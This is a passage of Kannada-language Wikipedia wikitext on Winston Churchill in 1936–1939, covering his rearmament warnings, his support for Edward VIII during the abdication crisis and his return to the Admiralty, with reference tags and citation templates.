೧೯೩೬ರಲ್ಲಿ ಚರ್ಚಿಲ್‌ ಅವರು ಹಿರಿಯ ಅಧಿಕಾರಿಗಳೊಂದಿಗೆ ಚರ್ಚಿಸಿ ತಾವು ಬಾಲ್ಡ್‌ವಿನ್‌,ಚೆಂಬರ್‌ಲಿನ್‌ ಮತ್ತು ಹ್ಯಾಲಿಪ್ಯಾಕ್ಸ್‌ ಅವರನ್ನು ಕಾಣಲಿಚ್ಚಿಸುವುದಾಗಿ ತಿಳಿಸಿದರು. ಅವರು ಉಳಿದ ಎರಡು ಪಕ್ಷಗಳಿಂದ ಪ್ರತಿನಿಧಿಗಳನ್ನು ನಿಯೋಜಿಸಲು ಬಯಸಿದರು ಮತ್ತು ನಂತರ ಅವರು "ಒಂದು ವೇಳೆ ಕಾರ್ಮಿಕ ಸಂಘಟನೆಯ ಮುಖ್ಯಸ್ಥರು ಮತ್ತು ಲಿಬರಲ್‌ ಪಕ್ಷದವರು ನಮ್ಮ ಜೊತೆಯಲ್ಲಿ ಬಂದರೆ ಯಾವುದಾದರೂ ಒಂದು ಪರಿಹಾರಾತ್ಮಕ ಕ್ರಮವನ್ನು ಕೈಗೊಳ್ಳಬಹುದಾಗಿದೆ" ಎಂದು ಬರೆದರು.<ref>''ದಿ ಗ್ಯಾದರಿಂಗ್ ಸ್ಟಾರ್ಮ್'' ಪು. ೨೭೬</ref> ಈ ಸಭೆಯ ಸಾಧನೆಯು ಅತ್ಯಂತ ಕಡಿಮೆ ಮಟ್ಟದ್ದಾಗಿತ್ತು. ಬಾಲ್ಡಿನ್‌ ಅವರು ಸರ್ಕಾರವು ತನ್ನೆಲ್ಲ ಪ್ರಯತ್ನವನ್ನೂ ಮಾಡಬಹುದಾಗಿದೆ. ಮತ್ತು ನಿರ್ಯುದ್ದ ವಾತಾವರಣವನ್ನು ಸಾಧಿಸಬಹುದಾಗಿದೆ ಎಂದು ಪ್ರತಿಕ್ರಿಯಿಸಿದರು.{{Citation needed|date=March 2011}} ನವೆಂಬರ್‌ ೧೨ರಂದು ಚರ್ಚಿಲ್ ಅವರು ವಿಷಯಕ್ಕೆ ವಾಪಸಾದರು. ಚರ್ಚೆಯೊಂದರ ಪ್ರಶ್ನೆಯೊಂದಕ್ಕೆ ಉತ್ತರಿಸುತ್ತಾ ಜರ್ಮನ್‌ನ ಯುದ್ದಸನ್ನದ್ದತೆಯನ್ನು ವಿವರಿಸುತ್ತಾ ಅವರು " ಕೇವಲ ಸರ್ಕಾರದಿಂದ ಅವರ ಮನಸ್ಸನ್ನು ಬದಲಾಯಿಸಲು ಸಾಧ್ಯವಿಲ್ಲ ಅಥವಾ ಮುಖ್ಯಮಂತ್ರಿಯೊಬ್ಬನಿಂದಲೂ ಮನಸ್ಸನ್ನು ಬದಲಾಯಿಸಲು ಸಾಧ್ಯವಿಲ್ಲ. ಆದ್ದರಿಂದ ಅವರು ಅನ್ಯರ ಅಸಂಗತೋಕ್ತಿಯನ್ನು ಪಾಲಿಸುತ್ತಿದ್ದಾರೆ. ಅವರು ಸಮಸ್ಯೆಗೆ ನಿರ್ಧಾವನ್ನು ಕಂಡುಕೊಳ್ಳಬಾರದೆಂದೆ ನಿರ್ಧರಿಸಿದ್ದಾರೆ, ದೃಢತೆಯನ್ನು ಕೆಡಿಸಬೇಕೆಂದೇ ದೃಢವಾಗಿ ನಿರ್ಧರಿಸಿದ್ದಾರೆ, ಬಿರುಗಾಳಿಯಂತೆ ಕೊಚ್ಚಿಕೊಂಡು ಹೋಗಬೇಕೆಂದೇ ವಜೃದಂತೆ ಕಠಿಣವಾಗಿದ್ದಾರೆ, ಸ್ರಾವತೆಯನ್ನುಂಟುಮಾಡಲೆಂದೆ ಗಟ್ಟಿಯಾಗಿದ್ದಾರೆ, ಶಕ್ತಿಹೀನರಾಗಿಸುವುದಕ್ಕೆ ಶಕ್ತರಾಗಿದ್ದಾರೆ. ಆದ್ದರಿಂದಲೇ ನಾವು ತಿಂಗಳುಗಟ್ಟಲೇ, ವರ್ಷಗಟ್ಟಲೆ ಹಿಂದಿನಿಂದಲೇ ಸಿದ್ದರಾಗುತ್ತಿದ್ದೇವೆ ಮುಂಬರುವ ಸನ್ನಿವೇಶದಲ್ಲಿ ಬ್ರಿಟನ್‌ ಎದುರಿಗೆ ಬರುವವರನ್ನು ಮಿಡತೆಗಳಂತೆ ತಿಂದುಹಾಕಲಿದೆ" ನುಡಿದರು.{{Citation needed|date=March 2011}} ಆರ್‌.ಆರ್‌ ಜೆಮ್ಸ್‌ ಅವರು ಹೇಳಿದಂತೆ ಇದು ಚರ್ಚಿಲ್‌ ಅವರ ಆ ಸಂಧರ್ಬದ ಅತ್ಯಂತ ಪ್ರಭಾವಿ ಭಾಷಣಗಳಲ್ಲೊಂದಾಗಿತ್ತು ಮತ್ತು ಅದಕ್ಕೆ ಬಾಲ್ಡವಿನ್‌ ಅವರ ಪ್ರತಿಕ್ರಿಯೆಯು ಧ್ವನಿಯೇ ಇಲ್ಲದಂತೆ ಭಾಸವಾಗುತ್ತಿತ್ತು ಮತ್ತು ಸದನದಲ್ಲಿದ್ದವರಿಗೆ ಕಿರಿಕಿರಿಯುಂಟು ಮಾಡುತ್ತಿತ್ತು. ಬದಲಾವಣೆಯು ಹೊಸ ಸಹಾಯಹಸ್ತ ಮತ್ತು ಒಪ್ಪಂದ ಚಳುವಳಿಗೆ ಹೊಸ ಆಯಾಮವನ್ನು ತಂದು ಕೊಟ್ಟವು.<ref>ಜೇಮ್ಸ್ ಪು. ೩೪೩</ref> ====ಪದತ್ಯಾಗದ ಸಂಘರ್ಷಗಳು==== {{Main|Abdication Crisis of Edward VIII}} ಜೂನ್‌ ೧೯೩೬ರಲ್ಲಿ ವಾಲ್ಟರ್‌ ಮೊಂಕ್‌ಟೊನ್‌ ಅವರು, ಚರ್ಚಿಲ್‌ ಅವರನ್ನುದ್ದೇಶಿಸಿ ರಾಜ ಎಡ್ವರ್ಡ್‌ VIII ಇವರು ವಾಲಿಸ್‌ ಸಿಮ್ಸ್‌ನ್‌ ಅವರರನ್ನು ಮದುವೆಯಾಗುವುದಾಗಿ ಸುದ್ದಿಯಾಗಿರುವುದು ನಿಜವಿದೆ ಎಂದು ನುಡಿದರು. ಚರ್ಚಿಲ್‌ ನಂತರ ಸಲಹೆಯನ್ನು ನೀಡುತ್ತಾ ಮತ್ತು ಮದುವೆಯನ್ನು ವಿರೋಧಿಸುತ್ತಾ ಸಿಮಾನ್ಸ್‌ರೊಂದಿಗಿನ ಈಗಿರುವ ವಿವಾಹಕ್ಕೆ ರಕ್ಷಣಾಕವಚದಂತಿದೆ ಎಂದರು.<ref>ಫ್ರೆಡರಿಕ್ ಸ್ಮಿತ್, ೨nd ಅರ್ಲ್ ಆಫ್ ಬರ್ಕನ್‌ಹೆಡ್ '' ವಾಲ್ಟರ್ ಮ್ಯಾಂಕ್ಟನ್ '' ವೈಡನ್‌ಫೀಲ್ಡ್ ಮತ್ತು ನಿಕಲ್ಸನ್ ೧೯೬೯ ಪು. ೧೨೯</ref> ನವೆಂಬರ್‌ನಲ್ಲಿ ಅವರು ಲಾರ್ಡ್‌ ಸಾಲಿಸ್‌ಬರಿ ಆಮಂತ್ರಣ ಈ ವಿಷಯದ ಬಗ್ಗೆ ಹಿರಿಯ ಕಾನ್ಸರ್ವೆಟಿವ್‌ ಅಧಿಕಾರಿಗಳೊಂದಿಗೆ ಬಾಲ್ಡ್ವಿನ್‌ ಅವರನ್ನು ಭೇಟಿಯಾಗಲು ನೀಡಿದ ಆಹ್ವಾನವನ್ನು ತಿರಸ್ಕರಿಸಿದರು. ನವೆಂಬರ್‌ ೨೫ರಂದು ಅವರು, ಅಟ್ಲಿ ಮತ್ತು ಲಿಬರಲ್‌ ಪಕ್ಷದ ನಾಯಕರಾದ ಆರ್ಚಿಬಾಲ್ಡ್‌ ಸಿನ್‌ಕ್ಲಿಯರ್‌ ಅವರು ಸೇರಿ ಬಾಲ್ಡಿವಿನ್‌ ಅವರನ್ನು ಭೇಟಿಯಾದರು. ಅಲ್ಲಿ ಅಧಿಕೃತವಾಗಿ ರಾಜನ ಇಚ್ಚಿಯ ಬಗ್ಗೆ ಚರ್ಚೆಗಳು ನಡೆದವು. ಒಂದು ವೇಳೆ ರಾಜನು ಮಂತ್ರಿಮಂಡಲದ ಸಲಹೆಗಳನ್ನು ಸ್ವೀಕರಿಸದೇ ಹೋದ ಪಕ್ಷದಲ್ಲಿ ಬಾಲ್ಡಿವಿನ್‌ ಮತ್ತು ರಾಷ್ಟ್ರೀಯ ಸರ್ಕಾರವು ರಾಜಿನಾಮೆ ನೀಡಬೇಕೆ ಎಂದು ಚರ್ಚಿಸಲಾಯಿತು. ಒಂದು ವೇಳೆ ಹಾಗೆ ನಡೆದರೆ ತಾವು ಸದನಕ್ಕೆ ಬರುವುದಿಲ್ಲವೆಂದು ಅಟ್ಲೀ ಮತ್ತು ಸಿನ್‌ಕ್ಲಿರ್‌ ಅವರು ಅಭಿಪ್ರಾಯ ವ್ಯಕ್ತಪಡಿಸಿದರು. ಚರ್ಚಿಲ್‌ ಅವರು ತಮ್ಮ ನಿಲುವು ಸ್ವಲ್ಪ ಬದಲಾಗಿದೆ ಆದರೆ ತಾನು ಸರ್ಕಾರಕ್ಕೆ ಬೆಂಬಲಿಸುತ್ತೇನೆ ಎಂದು ನುಡಿದರು.<ref>ಮಿಡ್ಲಮಸ್ ಕೆ ಆರ್ ಮತ್ತು ಬಾರ್ನ್ಸ್ ಜೆ ''ಸ್ಟ್ಯಾನ್ಲಿ ಬಾಲ್ಡ್‌ವಿನ್'' ವೈಡನ್‌ಫೀಲ್ಡ್ ಮತ್ತು ನಿಕಲ್ಸನ್ ೧೯೬೯ ಪು. ೯೯೯</ref> ೧೯೩೬ ಡಿಸೆಂಬರ್‌ ಮೊದಲೆರಡು ವಾರದಲ್ಲಿಯೇ ಪದತ್ಯಾಗದ ಸುದ್ದಿಯು ಸಾರ್ವಜನಿಕ ವಲಯದಲ್ಲಿ ಪ್ರಸಾರವಾಯಿತು. ಈ ಸಂದರ್ಭದಲ್ಲಿ ಚರ್ಚಿಲ್ ಸಾರ್ವಜನಿಕವಾಗಿ ರಾಜನಿಗೆ ಬೆಂಬಲವನ್ನು ಸೂಚಿಸಿದರು. ಆರ್ಮ್ಸ್‌ ಮತ್ತು ಒಪ್ಪಂದದ ಚಳುವಳಿಯ ಮೊದಲ ಸಾರ್ವಜನಿಕ ಸಭೆಯು ಡಿಸೆಂಬರ್‌ ೩ರಂದು ನಡೆಯಿತು. ಇದರಲ್ಲಿ ಚರ್ಚಿಲ್‌ ಪ್ರಮುಖ ಭಾಷಣಕಾರರಾಗಿದ್ದರು ನಂತರ ಅವರು ಅಭಿನಂದನಾ ಭಾಷಣಕ್ಕೆ ಪ್ರತಿಕ್ರಿಯಿಸಿ ಬರೆಯುತ್ತಾ ’ಇದೊಂದು ಚಳುವಳಿಗೆ ಚುಚ್ಚಿದ ಮುಳ್ಳಾಗಿದೆ’ ಎಂದರು ಆದರೆ ಇದೊಂದು ಈ ವರೆಗೆ ರಾಜನಾಗಲೀ ಅಥವಾ ಮಂತ್ರಿಮಂಡಲವಾಗಲೀ ಯಾವುದೇ ನಿರ್ಧಾವನ್ನು ತೆಗೆದುಕೊಳ್ಳುವ ಮೊದಲೇ ನೀಡಿದ ಹೇಳಿಕೆಯಾಗಿತ್ತು.<ref>''ದಿ ಗ್ಯಾದರಿಂಗ್ ಸ್ಟಾರ್ಮ್'' ಪುಪು. ೧೭೦–೭೧. ಸಿಟ್ರಿನ್ ಒಳಗೊಂಡಂತೆ ಇತರರು ಸಭೆಯ ಅಧ್ಯಕ್ಷತೆ ವಹಿಸಿದವರ ಕುರಿತಾಗಿ ಬರೆಯುತ್ತಾರೆ ಚರ್ಚಿಲ್‌ ಈ ರೀತಿಯ ಭಾಷಣ ಮಾಡಲಿಲ್ಲ. ಸಿಟ್ರಿನ್ ''ಮೆನ್ ಆ‍ಯ್‌೦ಡ್ ವರ್ಕ್'' ಹಚಿನ್ಸನ್ ೧೯೬೪ ಪು. ೩೫೭</ref> ನಂತರ ಅದೇ ದಿನ ರಾತ್ರಿ ಚರ್ಚಿಲ್‌ ರಾಜನ ಸಂದೇಶರವಾನೆಗಾಗಿ ಆಯೋಜಿಲಾಗಿದ್ದ ವೈರ್‌ಲೆಸ್‌ ಬ್ರಾಡ್‌ಕಾಸ್ಟ್‌ನ್ನು ಪರಿಶಿಲಿಸಿ ಬ್ರೆವರ್‌ಬ್ರೂಕ್‌ರೊಂದಿಗೆ ಮಾತನಾಡಿದರು ಮತ್ತು ರಾಜನ ಸಾಲಹಾಗಾರರೊಂದಿಗೆ ಈ ವಿಷಯದ ಬಗ್ಗೆ ಚರ್ಚಿಸಿದರು. ಡಿಸೆಂಬರ್ ನಾಲ್ಕರಂದು ಅವರು ರಾಜರನ್ನು ಭೇಟಿಯಾದರು ಮತ್ತು ಪದತ್ಯಡ್ಗದ ವಿಷಯವನ್ನು ಇನ್ನೂ ಕೆಲದಿನಗಳವರೆಗೆ ತಡೆಹಿಡಿಯಬೇಕು ಎಂದು ಕೇಳಿಕೊಂಡರು. ಡಿಸೆಂಬರ್‌ ೫ ರಂದು ಬಹು ಉದ್ದನೆಯ ಪ್ರಕಟಣೆಯನ್ನು ನಿಡಿ ಮಂತ್ರಿಮಂಡಲವು ಅನವಶ್ಯಕವಾದ ಒತ್ತಡವನ್ನು ರಾಜನ ಮೇಲೆ ಹೇರಿ ಅವಸರದ ನಿರ್ಧಾರಕ್ಕೆ ಬರುವಂತೆ ಮಾಡುತ್ತಿದೆ ಎಂದು ಅಭಿಪ್ರಾಯ ವ್ಯಕತಪಡಿಸಿದರು.<ref>ಜೇಮ್ಸ್ ಪುಪು. ೩೪೯–೫೧ ವೇರ್ ದ ಟೆಕ್ಟ್ ಆಫ್ ದ ಸ್ಟೇಟ್‌ಮೆಂಟ್ ಈಸ್ ಗಿವನ್</ref> ಡಿಸೆಂಬರ್‌ ೭ರಂದು ತನ್ನ ವಾದವನ್ನು ಮಂಡಿಸುವುದಕ್ಕಾಗಿ ಕಾಮನ್ಸ್‌ನಲ್ಲಿ ಮಾತನಾಡುವ ಇಂಗಿತವನ್ನು ವ್ಯಕ್ತಪಡಿಸಿದರು. ಅಲ್ಲಿ ಅವರು ಅಕ್ಷರಶಃ ಕೂಗಾಡಿದರು. ಅಲ್ಲಿ ಎಲ್ಲ ಸಂಸದರಿಂದಲೂ ವಿರೋಧಕ್ಕೆ ಒಳಗಾದರು ಮತ್ತು ತನ್ನ ಪಟ್ಟನ್ನು ಬಿಟ್ಟುಕೊಟ್ಟರು.<ref>ಬೀವರ್‌ಬ್ರೂಕ್,ಲಾರ್ಡ್; ಎ ಜೆ ಪಿ ಟೇಲರ್‌ರಿಂದ ಸಂಪಾದನೆ (೧೯೬೬). ದ ಎಬ್ಡಿಕೇಶನ್ ಆಫ್ ಕಿಂಗ್ ಎಡ್ವರ್ಡ್ VIII. ಲಂಡನ್: ಹ್ಯಾಮಿಶ್ ಹ್ಯಾಮಿಲ್ಟನ್</ref> ಇದರಿಂದಾಗಿ ಚರ್ಚಿಲ್‌ ಅವರ ಘನತ್ವವು ಸಂಸತ್ತಿಸಲ್ಲಿ ಮತ್ತು ಇಂಗ್ಲೆಂಡ್‌ನಲ್ಲಿ ದೊಡ್ಡ ಆಘಾತವನ್ನು ಎದುರಿಸಿತು. ಅಲಿಸ್ಟಾರ್‌ ಕುಕೀ ಯವರು ಚರ್ಚಿಲ್‌ ಅವರು ರಾಜನ ಪಕ್ಷವನ್ನು ಕಟ್ಟಲು ಹೊರಟಿದ್ದಾರೆ ಎಂದು ದೂರಿದರು.<ref>ಎಲಿಸ್ಟರ್ ಕೂಕ್ ’ಎಡ್ವರ್ಡ್ VIII' ಇನ್ ''ಸಿಕ್ಸ್ ಮೆನ್'' ಬಾಲ್ಡಿ ಹೆಡ್ ೧೯೭೭</ref> ಆರ್ಮ್ಸ್‌ ಮತ್ತು ಒಪ್ಪಂದ ಚಳುವಳಿಗೆ ರಾಜನು ನೀಡಿದ ಪ್ರತಿಕ್ರಿಯೆಗೆ ಚರ್ಚಿಲ್‌ ನೀಡಿದ ಬೆಂಬಲದಿಂದ ಹೆರಾಲ್ಡ್‌ ಮ್ಯಾಕ್‌ ಮಿಲನ್‌ರಂತಹ ಇತರರು ದಿಬ್ರಮೆಗೊಳಗಾದರು.<ref>ಎಚ್ ಮ್ಯಾಕ್‌ಮಿಲನ್ ''ದ ಬ್ಲಾಸ್ಟ್ ಆಫ್ ವಾರ್'' ಮ್ಯಾಕ್‌ಮಿಲನ್ ೧೯೭೦</ref> ಚರ್ಚಿಲ್‌ ಅವರು ಸ್ವತಃ ನಂತರ ಹೀಗೆ ಬರೆದುಕೊಂಡರು" ನಾನು ನನ್ನ ಕೈಯಾರೆ ಸಾರ್ವಜನಿಕ ಅಭಿಪ್ರಾಯದ ಮೂಲಕ ನನಗೆ ಹೊಡೆದುಕೊಂಡತಾಗಿದೆ. ಇದು ನನ್ನ ರಾಜಕೀಯ ಜೀವನದ ಅಂತ್ಯವೆಂದು ನಾನು ಭಾವಿಸುತ್ತೇನೆ."<ref>''ದಿ ಗ್ಯಾದರಿಂಗ್ ಸ್ಟಾರ್ಮ್'' p. ೧೭೧</ref> ಇತಿಹಾಸಕಾರರು ಚರ್ಚಿಲ್‌ ಅವರು ರಾಜನಾದ ಎಡ್ವರ್ಡ್‌ VIIIಗೆ ನೀಡಿದ ಬೆಂಬಲದ ಹಿಂದಿರುವ ಉದ್ದೇಶದ ಬಗ್ಗೆ ವಿಶ್ಲೇಷಿಸಿದ್ದಾರೆ. ಎ.ಜೆ.ಪಿ ಟೆಲರ್‌ ಅವರಂತಹವರು ಈ ಕ್ರಿಯೆಯನ್ನು ’ಸರ್ಕಾರವನ್ನು ಮೀರುವ ಅಶಕ್ತನೊಬ್ಬನ ಪ್ರಯತ್ನವಾಗಿದೆ’ ಎಂದು ಬಿಂಬಿಸಿದ್ದಾರೆ.<ref>ಎ ಜೆ ಪಿ ಟೇಲರ್''ಇಂಗ್ಲೀಷ್ ಹಿಸ್ಟರಿ (೧೯೧೪–೧೯೪೫)'' ಹ್ಯಾಮಿಶ್ ಹ್ಯಾಮಿಲ್ಟನ್ ೧೯೬೧ ಪು. ೪೦೪</ref> ಇತರರಾದ ರೋಡ್‌ ಜೆಮ್ಸ್‌ರಂತಹವರು ಚರ್ಚಿಲ್‌ ಅವರು ಯಾವುದೇ ದುರುದ್ದೇಶಗಳಿಲ್ಲದೇ ರಾಜನನ್ನು ಬೆಂಬಲಿಸಿದ್ದಾರೆ ಅವರು ರಾಜನನ್ನು ಕೇವಲ ಗೌರವದಿಂದ ಬೆಂಬಲಿಸಿದ್ದಾರೆ ಎಂದು ಬಿಂಬಿಸಿದ್ದಾರೆ.<ref>ಜೇಮ್ಸ್ ಪು. ೩೫೩</ref> ===ಗಡಿಪಾರಿನಿಂದ ವಾಪಸ್=== [[File:Churchill V sign HU 55521.jpg|thumb|ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್ ತಮ್ಮ 'V' ಚಿಹ್ನೆ ತೋರಿಸುತ್ತಿರುವುದು]] ಚರ್ಚಿಲ್‌ ಅವರು ನಂತರ ತನ್ನ ಬಗ್ಗೆ ಹೇಳಿಕೊಳ್ಳುತ್ತಾ ತನ್ನ ಅವಶ್ಯಕತೆಯ ಜರ್ಮನಿಯ ವಿರುದ್ದ ಕಠೋರವಾಗಿ ಮಾತನಾಡಲು ಬೇಕಾಗಿದೆ ಎಂದು ನುಡಿದರು. ಇದು ಸತ್ಯವೂ ಆಗಿತ್ತು ಹೇಗೆಂದರೆ ೧೯೩೦ದಶಕದಲ್ಲಿ ಅವರು ಹೌಸ್‌ ಆಪ್‌ ಕಾಮನ್ಸ್‌ನಲ್ಲಿ ಬೆಂಬಲಿಗರನ್ನು ಹೊಂದಿದ್ದರು. ಅವರಿಗೆ ಸರ್ಕಾರದಲ್ಲಿ ನಡೆಯುವ ವಿಷಯಗಳೂ ಕೂಡ ದೊರೆಯುತ್ತಿದ್ದವು. ಹೆಚ್ಚಾಗಿ ಯುದ್ದ ಮಂತ್ರಿಂಡಲವಲಯದಿಂದ ಅವರಿಗೆ ಸುದ್ದಿಯು ರವಾನೆಯಾಗುತ್ತಿತ್ತು. "ಚರ್ಚಿಲ್‌ ಗುಂಪಿನ" ಡಕ್ಕನ್‌ ಸಂಡೆಗಳು ಮತ್ತು ಬ್ರೆಂಡಾನ್‌ ಬ್ರಾಕೆನ್‌ಗಳು ನಂತರ ಅರ್ಧ ದಶಕದಲ್ಲಿ ಇವರಿಂದಲೇ ನಡೆಯುತ್ತಿತ್ತು. ಇದು ನಂತರ ಶಸ್ತ್ರಸಜ್ಜಿತತ್ವಕ್ಕೆ ಒತ್ತು ನೀಡುತ್ತಿರುವ ಕಾನ್ಸರ್ವೆಟಿವ್‌ ಪಕ್ಷ ಮತ್ತು ಪ್ರಭಲವಾದ ವಿದೇಶಿ ನೀತಿಗಳಿಂದ ವಿಮುಖಗೊಂಡಿದ್ದಾಗಿತ್ತು.<ref>ಈ ಒಳ ಪಕ್ಷಗಳು ಆ‍ಯ್‌೦ಥೋನಿ ಎಡೆನ್ ಮತ್ತು ಲಿಯೋ ಎಮೆರಿ ರೂದ್‌ರನ್ನು ನಾಯಕರಾಗಿ ಹೊಂದಿದ್ದವು ಜೇಮ್ಸ್ ಪುಟ. ೪೨೮ </ref> ಚರ್ಚಿಲ್‌ ಸರ್ಕಾರದ ಹಲವು ನೀತಿಗಳಲ್ಲಿ ತಮ್ಮ ಪಾತ್ರಗಳನ್ನು ವಹಿಸುವುದನ್ನು ಮುಂದುವರಿಸಿದರು ಮತ್ತು ಇವರನ್ನು ಪರ್ಯಾಯ ನಾಯಕರಾಗಿ ನೋಡಲಾಯಿತು.<ref>ಸಿಂಹಾಸನ ತ್ಯಾಗದ ಬಿಕ್ಕಟ್ಟಿನ ಸಮಯದಲ್ಲಿ ತುಂಬಾ ಸಮಾಲೋಚನೆ ನಡೆಸಿದ್ದ ಮತ್ತು ಗಮನ ಹರಿಸಿದ್ದ ಎಂಬುದಕ್ಕೆ ಈ ಕೆಳಗಿನ ಅಡಿ ಟಿಪ್ಪಣಿ ನೋಡಿ</ref> ಭಾರತದ ಸ್ವತಂತ್ರ ಹೋರಾಟವನ್ನು ಚರ್ಚಿಲ್‌ ಅವರು ವಿರೋಧಿಸುತ್ತಿರುವಾಗಲೂ ಕೂಡ ಅಧಿಕೃತವಾಗಿ ಅಥವಾ ಅನಧಿಕೃತವಾಗಿ ಮಾಹಿತಿಗಳನ್ನು ಅವರು ತಿಳಿದುಕೊಳ್ಳುತ್ತಿದ್ದರು. ೧೯೩೨ರಲ್ಲಿ ಚರ್ಚಿಲ್‌ ಅವರ ಹತ್ತಿರದ ಮನೆಯವರಾದ ಮೇಜರ್‌ ಡೆಸ್ಮೊಂಡ್‌ ಮತ್ತು ರಾಮ್ಸಿ ಮೆಕ್‌ಡೊನಾಲ್ಡ್‌ ಇವರು ಜರ್ಮನ್‌ನ ವಾಯುಪಡೆಯ ಬಗ್ಗೆ ಮಾಹಿತಿಯನ್ನು ನೀಡಿದರು.<ref>ಜೇಮ್ಸ್ ಪು. ೩೦೨</ref> ೧೯೩೦ ನಂತರ ಮೊರ್ಟೊನ್‌ ಅವರು ಉಳಿದ ದೇಶಗಳ ಸೈನಿಕ ಮಾಹಿತಿ ಮತ್ತು ಯುದ್ದಸನ್ನದ್ದತೆಯನ್ನು ತಿಳಿಸುವ ಸಮಿತಿಯ ಮುಖ್ಯಸ್ಥರಾಗಿ ಅಧಿಕಾರ ವಹಿಸಿಕೊಂಡರು. ಲಾರ್ಡ್‌ ಸ್ವಿನ್ಟಾನ್‌ ಅವರು ವಾಯುದಳದ ಮುಖ್ಯಸ್ಥರಾದರು ಮತ್ತು ೧೯೩೪ರಲ್ಲಿ ಬಲ್ಡಿವಿನ್‌ ಅವರ ಒಪ್ಪಿಗೆಯ ಮೇರೆಗೆ ಚರ್ಚಿಲ್‌ ಅವರಿಗೆ ಅಧಿಕೃತ ಮತ್ತು ಗುಟ್ಟಾದ ವಿಷಯಗಳನ್ನು ಕಲೆಹಾಕಲು ಅನುಮತಿಯನ್ನು ನೀಡಲಾಯಿತು. ಚರ್ಚಿಲ್‌ ಅವರು ಸರ್ಕಾರದ ಉನ್ನತ ಹುದ್ದೆಯಲ್ಲಿ ಮುಂದುವರಿಯಬಹುದೆಂಬ ಬರವಸೆಯಿಂದ ಸ್ವಿನ್‌ಟೊನ್‌ ಈ ರೀತಿ ಮಾಡಿದರು. ಅವರು ಗಾಳಿಸುದ್ದಿಯನ್ನು ನಂಬುವವರಿಗಿಂತ ಸುದ್ದಿಯನ್ನು ತಿಳಿದುಕೊಳ್ಳುವ ನಿರ್ಣಾಯಕರೇ ಮೇಲೆಂದು ಅವರು ತಿಳಿದುಕೊಂಡಿದ್ದರು.<ref>ರೂಡ್ ಜೇಮ್ಸ್ ಪುಪು. ೩೧೬–೧೮</ref> ಆದರೆ ಚರ್ಚಿಲ್‌ ಅವರು ಕ್ರೂರ ನಿರ್ಣಾಯಯಕರಾಗಿದ್ದರು. ಮತ್ತು [[ಅಡೋಲ್ಫ್ ಹಿಟ್ಲರ್|ಅಡಾಲ್ಪ್‌ ಹಿಲ್ಟರ್‌]]ನನ್ನು ಸಂತೃಪ್ತಿಗೊಳಿಸುವ ನೆವಿಲ್ಲೆ ಚಂಬರ್ಲಿಯನ್‌ ಅವರ ನಿರ್ಣಾಯಕರಾಗಿದ್ದರು. ಮತ್ತು ಹೌಸ್‌ ಆಪ್‌ ಕಾಮನ್ಸ್‌ನಲ್ಲಿ ಮಾಡಿದ ಭಾಷಣದಲ್ಲಿ ಅವರು "ನಿಮಗೆ ಯುದ್ದ ಮತ್ತು ಅಗೌರವಗಳಲ್ಲಿ ಒಂದು ಅವಕಾಶಗಳನ್ನು ಕೊಡಲಾಗಿತ್ತು.<ref>ಪಿಕ್‌ನೆಟ್, ಇತ್ಯಾದಿ.,ಪುಪು. ೧೪೯–೫೦</ref> ನೀವು ಅಗೌರವವನ್ನೇ ಆಯ್ಕೆ ಮಾಡಿಕೊಂಡಿದ್ದಿರಿ ಮತ್ತು ನಿವು ಯುದ್ದವನ್ನೇ ಮಾಡಬೇಕಾಗುತ್ತದೆ" ಎಂದು ನುಡಿದರು.<ref>''ಕರೆಂಟ್ ಬಯಾಗ್ರಫಿ ೧೯೪೨'' , ಪು. ೧೫೫</ref> ==ಪ್ರಧಾನ ಮಂತ್ರಿಯಾಗಿ ಮೊದಲ ಅವಧಿ== ==="ವಿನ್ಸ್‌ಟನ್‌ ಅವರ ಪುನರಾಗಮನ"=== ಎರಡನೇ ಮಹಾಯುದ್ದ ಘೋಷಣೆಯಾದ ನಂತರ ಸೆಪ್ಟೆಂಬರ್‍ ೩ ೧೯೩೯ ರಂದು ಬ್ರಿಟನ್ ದೇಶವು ಜರ್ಮನಿಯ ಮೇಲೆ ಯುದ್ದ ಘೋಷಿಸಿತು. ಚರ್ಚಿಲ್ ಅವರು ಮೊದಲ ಆಡ್ಮಿರಲ್ ನಾಯಕರಾಗಿ ನೇಮಕಗೊಂಡರು ಮತ್ತು ಯುದ್ದ ಸಮಿತಿಯ ಸದಸ್ಯರೂ ಆದರು. ಮೊದಲ ಮಹಾಯುದ್ದದ ಅವಧಿಯಿಂದಲೂ ಈ ಸಮಿತಿಯಲ್ಲಿ ಅವರು ಒಂದು ಭಾಗವಾಗಿದ್ದರು. ಯಾವಾಗ "ವಿನ್ಸ್‌ಟನ್ ಈಸ್ ಬ್ಯಾಕ್" ಎಂದು ಆಡ್ಮಿರಲ್ ಸಮಿತಿಯು ನೌಕಾ ದಳಕ್ಕೆ ಮಾಹಿತಿಯನ್ನು ಕಳುಹಿಸಿತೋ, ಆಗಲೇ ಚರ್ಚಿಲ್ ಅವರು "ಫೋನಿ ಯುದ್ದ" ಎಂದು ಕರೆಯುವ ಯುದ್ದತಂತ್ರವೊಂದರಲ್ಲಿ ಒಬ್ಬ ಉನ್ನತ ಲಕ್ಷಣವುಳ್ಳ ಸೇನಾ ಆಡಳಿತಗಾರ ಎಂದು ಸಾಬೀತಾದರು.<ref>ಚರ್ಚಿಲ್‌, ವಿನ್‌ಸ್ಟನ್: "ದಿ ಸೆಕೆಂಡ್ ವರ್ಲ್ಡ್ ವಾರ್" (ಸಂಕ್ಷಿಪ್ತ ಸಂಪಾದನೆ), ಪುಟ. ೧೬೩. ಪಿಮ್ಲಿಕೊ, ೨೦೦೨. ISBN ೦-೭೧೨೬-೬೭೦೨-೪</ref><ref name="papers-bio">{{cite web|url=http://www.chu.cam.ac.uk/archives/churchill_papers/biography/|title=The Churchill Papers: Biographical History|accessdate=26 February 2007|first=Piers|last=Brendon|publisher=[[Churchill Archives Centre]], [[Churchill College, Cambridge]]}}</ref> ಈ ತಂತ್ರದ ಯುದ್ದವು ಸಮುದ್ರದಲ್ಲಿ ಮಾತ್ರ ಗುರುತಿಸಬಹುದಾದ ಒಂದು ಕಲೆಯಾಗಿದೆ. ಚರ್ಚಿಲ್ ಅವರು ಅಲಿಪ್ತ ರಾಷ್ಟ್ರಗಳಾದ ನಾರ್ವಿಕ್ ದೇಶದ ನಾರ್‌ವ್ಜೇನ್ ಕಬ್ಬಿಣದ ಅದಿರು ಕೋಟೆ ಮತ್ತು ಕಿರುನಾ,ಸ್ವೀಡನ್‌ಗಳಲ್ಲಿ, ಈ ಮೊದಲು ಯುದ್ದದಲ್ಲಿ ಸೈನಿಕ 